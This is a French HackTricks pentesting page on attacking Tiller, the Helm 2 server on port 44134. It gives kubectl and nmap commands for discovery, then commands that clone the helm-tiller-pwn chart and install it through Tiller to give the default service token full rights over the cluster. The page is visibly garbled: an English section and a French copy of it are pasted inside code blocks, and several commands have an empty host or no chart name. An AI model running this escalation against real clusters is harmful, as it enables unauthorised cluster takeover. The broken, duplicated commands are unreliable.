Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# Informations de base Helm est le **gestionnaire de paquets** pour Kubernetes. Il permet de packager des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés **Helm Charts**. **Tiller** est le **service** **exécuté** par défaut sur le port 44134 offrant le service. **Port par défaut :** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # Énumération Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom** : ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` ```markdown # Pentesting Tiller (Helm) ## Summary Tiller, the server component of Helm, is often deployed with default settings that may lead to security issues. This section covers methods to exploit these weaknesses. ## Discovery To discover Tiller instances, scan the cluster for services listening on port 44134, which is the default Tiller port. ## Exploitation If you find a Tiller instance, you can attempt to exploit it. Since Tiller does not authenticate users by default, anyone can interact with it. This can lead to unauthorized access to the cluster's resources. ### Accessing the Tiller API You can access the Tiller API using the `helm` command-line tool. If you have network access to the Tiller service, you can use the following command to list releases: ```bash helm list --host :44134 ``` This command will show you the releases managed by Tiller. ### Deploying Malicious Charts Helm charts are packages of pre-configured Kubernetes resources. You can create a malicious chart to compromise the cluster. Once you have access to Tiller, you can deploy your chart using: ```bash helm install --host :44134 ``` This will deploy the chart to the cluster, potentially leading to a compromise. ## Remediation To secure Tiller, consider the following: - Implement authentication and authorization. - Restrict network access to Tiller. - Upgrade to Helm 3, which does not use Tiller. ## Conclusion Tiller instances can be a weak point in Kubernetes clusters. By following the outlined pentesting steps, you can identify and mitigate these vulnerabilities. ``` ``` # Pentesting Tiller (Helm) ## Résumé Tiller, le composant serveur de Helm, est souvent déployé avec des paramètres par défaut qui peuvent conduire à des problèmes de sécurité. Cette section couvre les méthodes pour exploiter ces faiblesses. ## Découverte Pour découvrir les instances de Tiller, scannez le cluster à la recherche de services écoutant sur le port 44134, qui est le port par défaut de Tiller. ## Exploitation Si vous trouvez une instance de Tiller, vous pouvez tenter de l'exploiter. Étant donné que Tiller n'authentifie pas les utilisateurs par défaut, n'importe qui peut interagir avec lui. Cela peut conduire à un accès non autorisé aux ressources du cluster. ### Accéder à l'API Tiller Vous pouvez accéder à l'API Tiller en utilisant l'outil en ligne de commande `helm`. Si vous avez un accès réseau au service Tiller, vous pouvez utiliser la commande suivante pour lister les déploiements : ```bash helm list --host :44134 ``` Cette commande vous montrera les déploiements gérés par Tiller. ### Déployer des Charts Malveillants Les charts Helm sont des paquets de ressources Kubernetes pré-configurées. Vous pouvez créer un chart malveillant pour compromettre le cluster. Une fois que vous avez accès à Tiller, vous pouvez déployer votre chart en utilisant : ```bash helm install --host :44134 ``` Cela déploiera le chart dans le cluster, pouvant conduire à un compromis. ## Remédiation Pour sécuriser Tiller, envisagez ce qui suit : - Mettre en œuvre l'authentification et l'autorisation. - Restreindre l'accès réseau à Tiller. - Passer à Helm 3, qui n'utilise pas Tiller. ## Conclusion Les instances de Tiller peuvent être un point faible dans les clusters Kubernetes. En suivant les étapes de pentesting décrites, vous pouvez identifier et atténuer ces vulnérabilités. ``` ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` Vous pourriez également essayer de trouver ce service en cours d'exécution en vérifiant le port 44134 : ```bash sudo nmap -sS -p 44134 ``` Une fois découvert, vous pouvez communiquer avec en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using_helm/#installing-helm). Ensuite, vous pouvez **énumérer le service** : ``` helm --host tiller-deploy.kube-system:44134 version ``` ## Élévation de privilèges Par défaut, **Helm2** était installé dans l'**espace de noms kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**élever vos privilèges**. Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera au **jeton de service par défaut l'accès à tout dans l'ensemble du cluster.** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez **l'explication de l'attaque**, mais essentiellement, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dans _helm-tiller-pwn/pwnchart/templates/_, vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).